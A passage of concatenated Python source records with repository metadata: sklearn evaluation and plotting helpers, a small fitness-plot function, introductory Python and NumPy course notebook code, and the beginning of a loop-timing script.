{"text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.model_selection import cross_val_score, learning_curve, RepeatedKFold\nfrom sklearn.metrics import classification_report, confusion_matrix, auc\n\n\ndef plot_conf_mat(*all_conf_mat, **format_settings):\n    \"\"\"Plots the confusion matrix using Seaborn Heatmap.\n    \n    Args:\n        all_conf_mat (args as ndarray or pandas dataframe): The confusion matrix generated using sklearn's method.\n        format_settings (keywords arguements): \n            titles_list (list of str): Titles to be given to each of the plots.\n            cmaps_list (list of str): cmap value to decide the color for each of the plots \n                                     (refer to Matplotlib for possible values).\n            num_of_rows (int): number of rows of the plots.\n            num_of_cols (int): number of columns of the plots.\n        \n    Returns: None\n    \"\"\"\n    num_of_plots = len(all_conf_mat)\n    num_of_rows, num_of_cols = get_ideal_plot_dim(num_of_plots)\n\n    all_titles = format_settings.get(\"titles_list\", [\"Confusion Matrix\"]*num_of_plots)\n    all_cmaps = format_settings.get(\"cmaps_list\", ['Blues']*num_of_plots)\n    nrows = format_settings.get(\"nrows\", num_of_rows)\n    ncols = format_settings.get(\"ncols\", num_of_cols)\n    figsize = format_settings.get(\"figsize\", (12, 4))\n    \n    fig, axes = plt.subplots(nrows=nrows,\n                             ncols=ncols,\n                             figsize=figsize)\n    if not type(axes) == np.ndarray:\n        axes = [axes]\n    \n    for ax, conf_mat, title, cmap in zip(axes, all_conf_mat, all_titles, all_cmaps):\n        sns.heatmap(conf_mat, \n                    annot=True,\n                    annot_kws={'size': 12},\n                    cbar=False,\n                    cmap=cmap,\n                    ax=ax)\n\n        ax.set_title(title, fontdict={'size': 16, 'weight': 'bold'}, pad=30)\n        ax.set_xlabel('Predicted Label', fontdict={'size': 14, 'weight': 'bold'}, labelpad=20)\n        ax.set_ylabel('True Label', fontdict={'size': 14, 'weight': 'bold'}, labelpad=20)\n        \n        loc_x = ax.get_xticks()\n        loc_y = ax.get_yticks()\n        loc_y -= 0.3\n\n        ax.set_xticklabels(['Edible', 'Poisonuous'], fontdict={\"fontsize\": 14})\n        ax.set_yticks(loc_y)\n        ax.set_yticklabels(['Edible', 'Poisonuous'], fontdict={\"fontsize\": 14}, rotation=90)\n        \n    plt.tight_layout(rect=[0, 0.03, 1.1, 0.97])\n\n\ndef get_ideal_plot_dim(total_plots):\n    \"\"\"Calculated the best number of rows and columns to create plots clearly.\n    \n    Args:\n        total_plots (int): Total number of plots to be created.\n    \n    Returns:\n        nrows (int): Number of rows to be plot.\n        ncols (int): Number of columns to be plot.\n    \"\"\"\n    nrows = 1\n    ncols = 3\n    if total_plots <= 3:\n        ncols = total_plots\n        return nrows, ncols\n    else:\n        nrows = round(total_plots / 3) + 2\n        return nrows, ncols\n\n\ndef metric_evaluation(model, X, y, cv: int = 5, print_results: bool = True):\n    \"\"\"\n    The function evalutes the model on five metrics using cross validation scores for each and plots them.\n    The six metrics are:\n    1. Accuracy\n    2. Weighted Precision\n    3. Weighted Recall\n    4. Weighted f1 score\n    6. Area under the ROC curve\n    \n    Notes:\n        The higher the value of the metric, the better. \n    \n    Args:\n        model (object): An instantiated object of a sklearn classifier.\n        X (np.ndarray or pd.DataFrame): Contains the features from the dataset.\n        y (np.ndarray or pd.DataFrame): Contains the target or response varible from the dataset.\n        cv (int): number of folds in the cross validation score.\n        print_results (bool): prints the performance dataframe if True. Default True.\n    \n    Returns:\n        performance_df (pd.DataFrame): A dictionary containing the four performance metrics.\n    \"\"\"\n    \n    # Setting up random seed to ensure all models are evaluated on same data splits\n    np.random.seed(100)\n\n    # Creating a list of metrics\n    metrics_list = ['accuracy', 'precision_weighted', 'recall_weighted', 'f1_weighted', 'roc_auc']\n    performance_dict = {}\n\n    for metric in metrics_list:\n        metric_score = cross_val_score(model, X, y, cv=cv, scoring=metric)\n        performance_dict.update({metric: metric_score})\n        \n    performance_df = pd.DataFrame(performance_dict).round(3).T\n    performance_df.columns = [f\"Fold {n}\" for n in range(1, len(metric_score)+1)]\n\n    # Instantiating figure\n    fig, ax = plt.subplots(figsize=(10,7))\n\n    # plotting data\n    performance_df.T.plot.bar(ax=ax)\n\n    # Formatting title and axes\n    ax.set_title(\"Cross Validation scores of the Model\", \n                fontdict={\"fontsize\":20, \"fontweight\":'bold'},\n                pad=30)\n\n    ax.set_xlabel(\"Cross Validation Fold number\", fontsize=14, fontweight='bold', labelpad=20)\n    ax.set_ylabel(\"Cross Validated scores of the Metric\", \n                fontsize=14, fontweight='bold', labelpad=20)\n\n    plt.xticks(fontsize=12, rotation=0)\n    plt.yticks(fontsize=12)\n\n    # Formatting legend\n    leg = ax.legend(fontsize=12, loc=(1.02, 0.81), frameon=True)\n    leg.get_frame().set_color(\"#F2F2F2\")\n    leg.get_frame().set_edgecolor(\"#000000\")\n    leg.set_title(\"Estimator\", prop={\"size\": 14, \"weight\": 'bold'})\n\n    # Displaying Results\n    if print_results:\n        print(\"######### Averaged Cross Validation Scores ##########\\n\"\n              \"Accuracy score:            {accuracy: 0.2%}\\n\"\n              \"Weighted Precision score:  {precision_weighted: 0.2%}\\n\"\n              \"Weighted Recall score:     {recall_weighted: 0.2%}\\n\"\n              \"Weighted F1 score:         {f1_weighted: 0.2%}\\n\"\n              \"ROC Area Under Curve:      {roc_auc: .3f}\".format(**dict(performance_df.T.mean())))\n    \n    # Print statement to know completion, incase of function being called multiple times in a cell.\n    print(\"Model evaluation complete.\") \n\n    return performance_df\n\n\ndef plot_learning_curves(model, X, y):\n    \"\"\"\n    The function plots the learning curve for the input model.\n\n    Args:\n        model (object): An instantiated object of a sklearn classifier.\n        X (np.ndarray or pd.DataFrame): Contains the features from the dataset.\n        y (np.ndarray or pd.DataFrame): Contains the target or response varible from the dataset.\n    \"\"\"\n    # Setting up random seed to ensure all models are evaluated on same data splits\n    np.random.seed(100)\n\n    train_sizes, train_scores, test_scores = learning_curve(estimator=model,\n                                                            X=X, \n                                                            y=y,\n                                                            train_sizes= np.linspace(0.1, 1.0, 10),\n                                                            cv=10,\n                                                            scoring='recall_weighted',random_state=100)\n    train_mean = np.mean(train_scores, axis=1)\n    train_std = np.std(train_scores, axis=1)\n    test_mean = np.mean(test_scores, axis=1)\n    test_std = np.std(test_scores, axis=1)\n    \n    plt.plot(train_sizes, train_mean,color='blue', marker='o', \n             markersize=5, label='training recall')\n    plt.fill_between(train_sizes, train_mean + train_std, train_mean - train_std,\n                     alpha=0.15, color='blue')\n\n    plt.plot(train_sizes, test_mean, color='green', linestyle='--', marker='s', markersize=5,\n             label='validation recall')\n    plt.fill_between(train_sizes, test_mean + test_std, test_mean - test_std,\n                     alpha=0.15, color='green')\n    plt.grid(True)\n    plt.xlabel('Number of training samples')\n    plt.ylabel('Recall')\n    plt.legend(loc='best')\n    plt.show()\n    \n\ndef plot_box_plot(model, X, y, cv: int = 5, model_name: str = \"Model\", scoring: str = \"recall_weighted\",\n                  models: list = None):\n    \"\"\"The function plots a box plot for the scoring parameter defined.\n\n    Args:\n        model (object): An instantiated object of a sklearn classifier.\n        X (np.ndarray or pd.DataFrame): Contains the features from the dataset.\n        y (np.ndarray or pd.DataFrame): Contains the target or response varible from the dataset.\n        model_name (str, optional): Name of the model used. If None, uses `Decision Tree`. Defaults to None.\n        scoring (str, optional): The scoring parameter to be used. Defaults to \"recall_weighted\".\n        models (list, optional): A list of `model`s. Defaults to [].\n    \"\"\"\n    # Setting up random seed to ensure all models are evaluated on same data splits\n    np.random.seed(100)\n\n    if models is None:\n        models = []\n        models.append((model_name, model))\n\n    results =[]\n    names=[]\n    scoring ='recall_weighted'\n    metric = scoring.replace('_', ' ').capitalize()\n    print(f'Model Evaluation - {metric}')\n    for name, model in models:\n        # rkf = RepeatedKFold(n_splits=10, n_repeats=5, random_state=100)\n        cv_results = cross_val_score(model, X, y, cv=cv, scoring=scoring)\n        results.append(cv_results)\n        names.append(name)\n        print('{} {:.2f} +/- {:.2f}'.format(name,cv_results.mean(),cv_results.std()))\n    print('\\n')\n\n    fig = plt.figure(figsize=(5,5))\n    fig.suptitle('Boxplot View')\n    ax = fig.add_subplot(111)\n    sns.boxplot(data=results)\n    ax.set_xticklabels(names)\n    plt.ylabel(metric)\n    plt.xlabel('Model')\n    plt.show()\n    pass\n\n\ndef full_model_evaluation(model, X, y, cv: int = 5, model_name: str = None):\n    \"\"\"\n    The function does the following 4 things:\n    1. Plot the learning curve.\n    2. Plot a boxplot for weighted recall.\n    3. Plot the cross validation scores of 5 metrics.\n    \"\"\"\n    # Setting up random seed to ensure all models are evaluated on same data splits\n    np.random.seed(100)\n\n    if model_name is None:\n        model_name = \"Decision Tree\"\n\n    # Plot learning curve\n    print(f'{model_name} Learning Curve')\n    plot_learning_curves(model, X, y)\n    \n    # Model Evaluation - Boxplot\n    plot_box_plot(model, X, y, cv=cv, model_name=model_name)\n    \n    # Evaluate the performance\n    metric_evaluation(model, X, y, cv=cv)\n", "meta": {"hexsha": "d60aea3eed29c87e506968c61fe726b770f904cc", "size": 10230, "ext": "py", "lang": "Python", "max_stars_repo_path": "svm_assignment_5/notebooks/helper_functions.py", "max_stars_repo_name": "radroid/ml-algorithms-assignments", "max_stars_repo_head_hexsha": "e316bd706a230d6eb18721e84072174fb04258f6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "svm_assignment_5/notebooks/helper_functions.py", "max_issues_repo_name": "radroid/ml-algorithms-assignments", "max_issues_repo_head_hexsha": "e316bd706a230d6eb18721e84072174fb04258f6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "svm_assignment_5/notebooks/helper_functions.py", "max_forks_repo_name": "radroid/ml-algorithms-assignments", "max_forks_repo_head_hexsha": "e316bd706a230d6eb18721e84072174fb04258f6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.897338403, "max_line_length": 114, "alphanum_fraction": 0.6219941349, "include": true, "reason": "import numpy", "num_tokens": 2443, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1259227615549033, "lm_q1q2_score": 0.060503202008041754}}
{"text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_fig(fitness_array, fig_name, show = False):\r\n    plt.figure()\r\n    plt.title('Fitness value in x_th interation')\r\n    plt.xlabel('x_th interation')\r\n    plt.ylabel('fitness value')\r\n    \r\n    plt.plot(fitness_array)\r\n    # plt.plot(x, head_fitness, color = 'blue')\r\n\r\n    # plt.legend(['F_fitness', 'head_slap_fitness'])\r\n    if show:\r\n        plt.show()\r\n    plt.savefig(fig_name)\r\n    plt.close()\r\n", "meta": {"hexsha": "93281420282eb377bb790cc46f0fee9d56ef41d9", "size": 463, "ext": "py", "lang": "Python", "max_stars_repo_path": "Common/for_image.py", "max_stars_repo_name": "ClayLiu/optimization-algorithm", "max_stars_repo_head_hexsha": "1fb535a79d857a8545dfacfc7c79c0b3649d8d2d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2020-01-17T09:17:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-19T08:00:34.000Z", "max_issues_repo_path": "Common/for_image.py", "max_issues_repo_name": "ClayLiu/optimization-algorithm", "max_issues_repo_head_hexsha": "1fb535a79d857a8545dfacfc7c79c0b3649d8d2d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Common/for_image.py", "max_forks_repo_name": "ClayLiu/optimization-algorithm", "max_forks_repo_head_hexsha": "1fb535a79d857a8545dfacfc7c79c0b3649d8d2d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-03-27T13:18:35.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-01T13:37:36.000Z", "avg_line_length": 25.7222222222, "max_line_length": 53, "alphanum_fraction": 0.6349892009, "include": true, "reason": "import numpy", "num_tokens": 111, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12592275499444552, "lm_q1q2_score": 0.060503198855881665}}
{"text": "# The Python Programming Language: Functions\n\nx = 1\ny = 2\nx + y\n\nx\n\n<br>\n`add_numbers` is a function that takes two numbers and adds them together.\n\ndef add_numbers(x, y):\n    return x + y\n\nadd_numbers(1, 2)\n\n<br>\n`add_numbers` updated to take an optional 3rd parameter. Using `print` allows printing of multiple expressions within a single cell.\n\ndef add_numbers(x,y,z=None):\n    if (z==None):\n        return x+y\n    else:\n        return x+y+z\n\nprint(add_numbers(1, 2))\nprint(add_numbers(1, 2, 3))\n\n<br>\n`add_numbers` updated to take an optional flag parameter.\n\ndef add_numbers(x, y, z=None, flag=False):\n    if (flag):\n        print('Flag is true!')\n    if (z==None):\n        return x + y\n    else:\n        return x + y + z\n    \nprint(add_numbers(1, 2, flag=True))\n\n<br>\nAssign function `add_numbers` to variable `a`.\n\ndef add_numbers(x,y):\n    return x+y\n\na = add_numbers\na(1,2)\n\n<br>\n# The Python Programming Language: Types and Sequences\n\n<br>\nUse `type` to return the object's type.\n\ntype('This is a string')\n\ntype(None)\n\ntype(1)\n\ntype(1.0)\n\ntype(add_numbers)\n\n<br>\nTuples are an immutable data structure (cannot be altered).\n\nx = (1, 'a', 2, 'b')\ntype(x)\n\n<br>\nLists are a mutable data structure.\n\nx = [1, 'a', 2, 'b']\ntype(x)\n\n<br>\nUse `append` to append an object to a list.\n\nx.append(3.3)\nprint(x)\n\n<br>\nThis is an example of how to loop through each item in the list.\n\nfor item in x:\n    print(item)\n\n<br>\nOr using the indexing operator:\n\ni=0\nwhile( i != len(x) ):\n    print(x[i])\n    i = i + 1\n\n<br>\nUse `+` to concatenate lists.\n\n[1,2] + [3,4]\n\n<br>\nUse `*` to repeat lists.\n\n[1]*3\n\n<br>\nUse the `in` operator to check if something is inside a list.\n\n1 in [1, 2, 3]\n\n<br>\nNow let's look at strings. Use bracket notation to slice a string.\n\nx = 'This is a string'\nprint(x[0]) #first character\nprint(x[0:1]) #first character, but we have explicitly set the end character\nprint(x[0:2]) #first two characters\n\n\n<br>\nThis will return the last element of the string.\n\nx[-1]\n\n<br>\nThis will return the slice starting from the 4th element from the end and stopping before the 2nd element from the end.\n\nx[-4:-2]\n\n<br>\nThis is a slice from the beginning of the string and stopping before the 3rd element.\n\nx[:3]\n\n<br>\nAnd this is a slice starting from the 3rd element of the string and going all the way to the end.\n\nx[3:]\n\nfirstname = 'Christopher'\nlastname = 'Brooks'\n\nprint(firstname + ' ' + lastname)\nprint(firstname*3)\nprint('Chris' in firstname)\n\n\n<br>\n`split` returns a list of all the words in a string, or a list split on a specific character.\n\nfirstname = 'Christopher Arthur Hansen Brooks'.split(' ')[0] # [0] selects the first element of the list\nlastname = 'Christopher Arthur Hansen Brooks'.split(' ')[-1] # [-1] selects the last element of the list\nprint(firstname)\nprint(lastname)\n\n<br>\nMake sure you convert objects to strings before concatenating.\n\n'Chris' + 2\n\n'Chris' + str(2)\n\n<br>\nDictionaries associate keys with values.\n\nx = {'Christopher Brooks': 'brooksch@umich.edu', 'Bill Gates': 'billg@microsoft.com'}\nx['Christopher Brooks'] # Retrieve a value by using the indexing operator\n\n\nx['Kevyn Collins-Thompson'] = None\nx['Kevyn Collins-Thompson']\n\n<br>\nIterate over all of the keys:\n\nfor name in x:\n    print(x[name])\n\n<br>\nIterate over all of the values:\n\nfor email in x.values():\n    print(email)\n\n<br>\nIterate over all of the items in the list:\n\nfor name, email in x.items():\n    print(name)\n    print(email)\n\n<br>\nYou can unpack a sequence into different variables:\n\nx = ('Christopher', 'Brooks', 'brooksch@umich.edu')\nfname, lname, email = x\n\nfname\n\nlname\n\n<br>\nMake sure the number of values you are unpacking matches the number of variables being assigned.\n\nx = ('Christopher', 'Brooks', 'brooksch@umich.edu', 'Ann Arbor')\nfname, lname, email = x\n\n<br>\n# The Python Programming Language: More on Strings\n\nprint('Chris' + 2)\n\nprint('Chris' + str(2))\n\n<br>\nPython has a built in method for convenient string formatting.\n\nsales_record = {\n'price': 3.24,\n'num_items': 4,\n'person': 'Chris'}\n\nsales_statement = '{} bought {} item(s) at a price of {} each for a total of {}'\n\nprint(sales_statement.format(sales_record['person'],\n                             sales_record['num_items'],\n                             sales_record['price'],\n                             sales_record['num_items']*sales_record['price']))\n\n\n<br>\n# Reading and Writing CSV files\n\n<br>\nLet's import our datafile mpg.csv, which contains fuel economy data for 234 cars.\n\n* mpg : miles per gallon\n* class : car classification\n* cty : city mpg\n* cyl : # of cylinders\n* displ : engine displacement in liters\n* drv : f = front-wheel drive, r = rear wheel drive, 4 = 4wd\n* fl : fuel (e = ethanol E85, d = diesel, r = regular, p = premium, c = CNG)\n* hwy : highway mpg\n* manufacturer : automobile manufacturer\n* model : model of car\n* trans : type of transmission\n* year : model year\n\nimport csv\n\n%precision 2\n\nwith open('mpg.csv') as csvfile:\n    mpg = list(csv.DictReader(csvfile))\n    \nmpg[:3] # The first three dictionaries in our list.\n\n<br>\n`csv.Dictreader` has read in each row of our csv file as a dictionary. `len` shows that our list is comprised of 234 dictionaries.\n\nlen(mpg)\n\n<br>\n`keys` gives us the column names of our csv.\n\nmpg[0].keys()\n\n<br>\nThis is how to find the average cty fuel economy across all cars. All values in the dictionaries are strings, so we need to convert to float.\n\nsum(float(d['cty']) for d in mpg) / len(mpg)\n\n<br>\nSimilarly this is how to find the average hwy fuel economy across all cars.\n\nsum(float(d['hwy']) for d in mpg) / len(mpg)\n\n<br>\nUse `set` to return the unique values for the number of cylinders the cars in our dataset have.\n\ncylinders = set(d['cyl'] for d in mpg)\ncylinders\n\n<br>\nHere's a more complex example where we are grouping the cars by number of cylinder, and finding the average cty mpg for each group.\n\nCtyMpgByCyl = []\n\nfor c in cylinders: # iterate over all the cylinder levels\n    summpg = 0\n    cyltypecount = 0\n    for d in mpg: # iterate over all dictionaries\n        if d['cyl'] == c: # if the cylinder level type matches,\n            summpg += float(d['cty']) # add the cty mpg\n            cyltypecount += 1 # increment the count\n    CtyMpgByCyl.append((c, summpg / cyltypecount)) # append the tuple ('cylinder', 'avg mpg')\n\nCtyMpgByCyl.sort(key=lambda x: x[0])\nCtyMpgByCyl\n\n<br>\nUse `set` to return the unique values for the class types in our dataset.\n\nvehicleclass = set(d['class'] for d in mpg) # what are the class types\nvehicleclass\n\n<br>\nAnd here's an example of how to find the average hwy mpg for each class of vehicle in our dataset.\n\nHwyMpgByClass = []\n\nfor t in vehicleclass: # iterate over all the vehicle classes\n    summpg = 0\n    vclasscount = 0\n    for d in mpg: # iterate over all dictionaries\n        if d['class'] == t: # if the cylinder amount type matches,\n            summpg += float(d['hwy']) # add the hwy mpg\n            vclasscount += 1 # increment the count\n    HwyMpgByClass.append((t, summpg / vclasscount)) # append the tuple ('class', 'avg mpg')\n\nHwyMpgByClass.sort(key=lambda x: x[1])\nHwyMpgByClass\n\n<br>\n# The Python Programming Language: Dates and Times\n\nimport datetime as dt\nimport time as tm\n\n<br>\n`time` returns the current time in seconds since the Epoch. (January 1st, 1970)\n\ntm.time()\n\n<br>\nConvert the timestamp to datetime.\n\ndtnow = dt.datetime.fromtimestamp(tm.time())\ndtnow\n\n<br>\nHandy datetime attributes:\n\ndtnow.year, dtnow.month, dtnow.day, dtnow.hour, dtnow.minute, dtnow.second # get year, month, day, etc.from a datetime\n\n<br>\n`timedelta` is a duration expressing the difference between two dates.\n\ndelta = dt.timedelta(days = 100) # create a timedelta of 100 days\ndelta\n\n<br>\n`date.today` returns the current local date.\n\ntoday = dt.date.today()\n\ntoday - delta # the date 100 days ago\n\ntoday > today-delta # compare dates\n\n<br>\n# The Python Programming Language: Objects and map()\n\n<br>\nAn example of a class in python:\n\nclass Person:\n    department = 'School of Information' #a class variable\n\n    def set_name(self, new_name): #a method\n        self.name = new_name\n    def set_location(self, new_location):\n        self.location = new_location\n\nperson = Person()\nperson.set_name('Christopher Brooks')\nperson.set_location('Ann Arbor, MI, USA')\nprint('{} live in {} and works in the department {}'.format(person.name, person.location, person.department))\n\n<br>\nHere's an example of mapping the `min` function between two lists.\n\nstore1 = [10.00, 11.00, 12.34, 2.34]\nstore2 = [9.00, 11.10, 12.34, 2.01]\ncheapest = map(min, store1, store2)\ncheapest\n\n<br>\nNow let's iterate through the map object to see the values.\n\nfor item in cheapest:\n    print(item)\n\n<br>\n# The Python Programming Language: Lambda and List Comprehensions\n\n<br>\nHere's an example of lambda that takes in three parameters and adds the first two.\n\nmy_function = lambda a, b, c : a + b\n\nmy_function(1, 2, 3)\n\n<br>\nLet's iterate from 0 to 999 and return the even numbers.\n\nmy_list = []\nfor number in range(0, 1000):\n    if number % 2 == 0:\n        my_list.append(number)\nmy_list\n\n<br>\nNow the same thing but with list comprehension.\n\nmy_list = [number for number in range(0,1000) if number % 2 == 0]\nmy_list\n\n<br>\n# The Python Programming Language: Numerical Python (NumPy)\n\nimport numpy as np\n\n<br>\n## Creating Arrays\n\nCreate a list and convert it to a numpy array\n\nmylist = [1, 2, 3]\nx = np.array(mylist)\nx\n\n<br>\nOr just pass in a list directly\n\ny = np.array([4, 5, 6])\ny\n\n<br>\nPass in a list of lists to create a multidimensional array.\n\nm = np.array([[7, 8, 9], [10, 11, 12]])\nm\n\n<br>\nUse the shape method to find the dimensions of the array. (rows, columns)\n\nm.shape\n\n<br>\n`arange` returns evenly spaced values within a given interval.\n\nn = np.arange(0, 30, 2) # start at 0 count up by 2, stop before 30\nn\n\n<br>\n`reshape` returns an array with the same data with a new shape.\n\nn = n.reshape(3, 5) # reshape array to be 3x5\nn\n\n<br>\n`linspace` returns evenly spaced numbers over a specified interval.\n\no = np.linspace(0, 4, 9) # return 9 evenly spaced values from 0 to 4\no\n\n<br>\n`resize` changes the shape and size of array in-place.\n\no.resize(3, 3)\no\n\n<br>\n`ones` returns a new array of given shape and type, filled with ones.\n\nnp.ones((3, 2))\n\n<br>\n`zeros` returns a new array of given shape and type, filled with zeros.\n\nnp.zeros((2, 3))\n\n<br>\n`eye` returns a 2-D array with ones on the diagonal and zeros elsewhere.\n\nnp.eye(3)\n\n<br>\n`diag` extracts a diagonal or constructs a diagonal array.\n\nnp.diag(y)\n\n<br>\nCreate an array using repeating list (or see `np.tile`)\n\nnp.array([1, 2, 3] * 3)\n\n<br>\nRepeat elements of an array using `repeat`.\n\nnp.repeat([1, 2, 3], 3)\n\n<br>\n#### Combining Arrays\n\np = np.ones([2, 3], int)\np\n\n<br>\nUse `vstack` to stack arrays in sequence vertically (row wise).\n\nnp.vstack([p, 2*p])\n\n<br>\nUse `hstack` to stack arrays in sequence horizontally (column wise).\n\nnp.hstack([p, 2*p])\n\n<br>\n## Operations\n\nUse `+`, `-`, `*`, `/` and `**` to perform element wise addition, subtraction, multiplication, division and power.\n\nprint(x + y) # elementwise addition     [1 2 3] + [4 5 6] = [5  7  9]\nprint(x - y) # elementwise subtraction  [1 2 3] - [4 5 6] = [-3 -3 -3]\n\nprint(x * y) # elementwise multiplication  [1 2 3] * [4 5 6] = [4  10  18]\nprint(x / y) # elementwise divison         [1 2 3] / [4 5 6] = [0.25  0.4  0.5]\n\nprint(x**2) # elementwise power  [1 2 3] ^2 =  [1 4 9]\n\n<br>\n**Dot Product:**  \n\n$ \\begin{bmatrix}x_1 \\ x_2 \\ x_3\\end{bmatrix}\n\\cdot\n\\begin{bmatrix}y_1 \\\\ y_2 \\\\ y_3\\end{bmatrix}\n= x_1 y_1 + x_2 y_2 + x_3 y_3$\n\nx.dot(y) # dot product  1*4 + 2*5 + 3*6\n\nz = np.array([y, y**2])\nprint(len(z)) # number of rows of array\n\n<br>\nLet's look at transposing arrays. Transposing permutes the dimensions of the array.\n\nz = np.array([y, y**2])\nz\n\n<br>\nThe shape of array `z` is `(2,3)` before transposing.\n\nz.shape\n\n<br>\nUse `.T` to get the transpose.\n\nz.T\n\n<br>\nThe number of rows has swapped with the number of columns.\n\nz.T.shape\n\n<br>\nUse `.dtype` to see the data type of the elements in the array.\n\nz.dtype\n\n<br>\nUse `.astype` to cast to a specific type.\n\nz = z.astype('f')\nz.dtype\n\n<br>\n## Math Functions\n\nNumpy has many built in math functions that can be performed on arrays.\n\na = np.array([-4, -2, 1, 3, 5])\n\na.sum()\n\na.max()\n\na.min()\n\na.mean()\n\na.std()\n\n<br>\n`argmax` and `argmin` return the index of the maximum and minimum values in the array.\n\na.argmax()\n\na.argmin()\n\n<br>\n## Indexing / Slicing\n\ns = np.arange(13)**2\ns\n\n<br>\nUse bracket notation to get the value at a specific index. Remember that indexing starts at 0.\n\ns[0], s[4], s[-1]\n\n<br>\nUse `:` to indicate a range. `array[start:stop]`\n\n\nLeaving `start` or `stop` empty will default to the beginning/end of the array.\n\ns[1:5]\n\n<br>\nUse negatives to count from the back.\n\ns[-4:]\n\n<br>\nA second `:` can be used to indicate step-size. `array[start:stop:stepsize]`\n\nHere we are starting 5th element from the end, and counting backwards by 2 until the beginning of the array is reached.\n\ns[-5::-2]\n\n<br>\nLet's look at a multidimensional array.\n\nr = np.arange(36)\nr.resize((6, 6))\nr\n\n<br>\nUse bracket notation to slice: `array[row, column]`\n\nr[2, 2]\n\n<br>\nAnd use : to select a range of rows or columns\n\nr[3, 3:6]\n\n<br>\nHere we are selecting all the rows up to (and not including) row 2, and all the columns up to (and not including) the last column.\n\nr[:2, :-1]\n\n<br>\nThis is a slice of the last row, and only every other element.\n\nr[-1, ::2]\n\n<br>\nWe can also perform conditional indexing. Here we are selecting values from the array that are greater than 30. (Also see `np.where`)\n\nr[r > 30]\n\n<br>\nHere we are assigning all values in the array that are greater than 30 to the value of 30.\n\nr[r > 30] = 30\nr\n\n<br>\n## Copying Data\n\nBe careful with copying and modifying arrays in NumPy!\n\n\n`r2` is a slice of `r`\n\nr2 = r[:3,:3]\nr2\n\n<br>\nSet this slice's values to zero ([:] selects the entire array)\n\nr2[:] = 0\nr2\n\n<br>\n`r` has also been changed!\n\nr\n\n<br>\nTo avoid this, use `r.copy` to create a copy that will not affect the original array\n\nr_copy = r.copy()\nr_copy\n\n<br>\nNow when r_copy is modified, r will not be changed.\n\nr_copy[:] = 10\nprint(r_copy, '\\n')\nprint(r)\n\n<br>\n### Iterating Over Arrays\n\nLet's create a new 4 by 3 array of random numbers 0-9.\n\ntest = np.random.randint(0, 10, (4,3))\ntest\n\n<br>\nIterate by row:\n\nfor row in test:\n    print(row)\n\n<br>\nIterate by index:\n\nfor i in range(len(test)):\n    print(test[i])\n\n<br>\nIterate by row and index:\n\nfor i, row in enumerate(test):\n    print('row', i, 'is', row)\n\n<br>\nUse `zip` to iterate over multiple iterables.\n\ntest2 = test**2\ntest2\n\nfor i, j in zip(test, test2):\n    print(i,'+',j,'=',i+j)", "meta": {"hexsha": "497be1ae95d659d3afe16de4b1cf72641054f320", "size": 14644, "ext": "py", "lang": "Python", "max_stars_repo_path": "book/_build/jupyter_execute/pandas/Week 1-Introduction to Data Science[Coursera].py", "max_stars_repo_name": "hossainlab/dsnotes", "max_stars_repo_head_hexsha": "fee64e157f45724bba1f49ad1b186dcaaf1e6c02", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "book/_build/jupyter_execute/pandas/Week 1-Introduction to Data Science[Coursera].py", "max_issues_repo_name": "hossainlab/dsnotes", "max_issues_repo_head_hexsha": "fee64e157f45724bba1f49ad1b186dcaaf1e6c02", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "book/_build/jupyter_execute/pandas/Week 1-Introduction to Data Science[Coursera].py", "max_forks_repo_name": "hossainlab/dsnotes", "max_forks_repo_head_hexsha": "fee64e157f45724bba1f49ad1b186dcaaf1e6c02", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.7092866756, "max_line_length": 141, "alphanum_fraction": 0.6757033597, "include": true, "reason": "import numpy", "num_tokens": 4267, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.1540575588075327, "lm_q1q2_score": 0.06044245428583027}}
{"text": "\n# S.D. Peckham\n# June 10, 2009\n#-------------------\n\nimport time\nimport numpy\n\ndef loop_test(n=1000000):\n\n    #---------------------------------\n    # For loop using Python's range\n    #---------------------------------\n    start  = time.time()\n    my_sum = 0\n    \n    for k in range(n):\n        my_sum += 1\n\n    run_time = (time.time() - start)\n    print 'run time with range =', run_time\n    \n    #---------------------------------\n    # For loop using Python's xrange\n    #---------------------------------\n    start  = time.time()\n    my_sum = 0\n    \n    for k in xrange(n):\n        my_sum += 1\n\n    run_time = (time.time() - start)\n    print 'run time with xrange =', run_time\n\n    #--------------------------------\n    # For loop using NumPy's arange\n    #---------------------------------\n    start  = time.time()\n    my_sum = 0\n    \n    for k in numpy.arange(n):\n        my_sum += 1\n\n    run_time = (time.time() - start)\n    print 'run time with arange =', run_time\n", "meta": {"hexsha": "bd3bf19293261aa7326c8908b44b455d3cefa155", "size": 975, "ext": "py", "lang": "Python", "max_stars_repo_path": 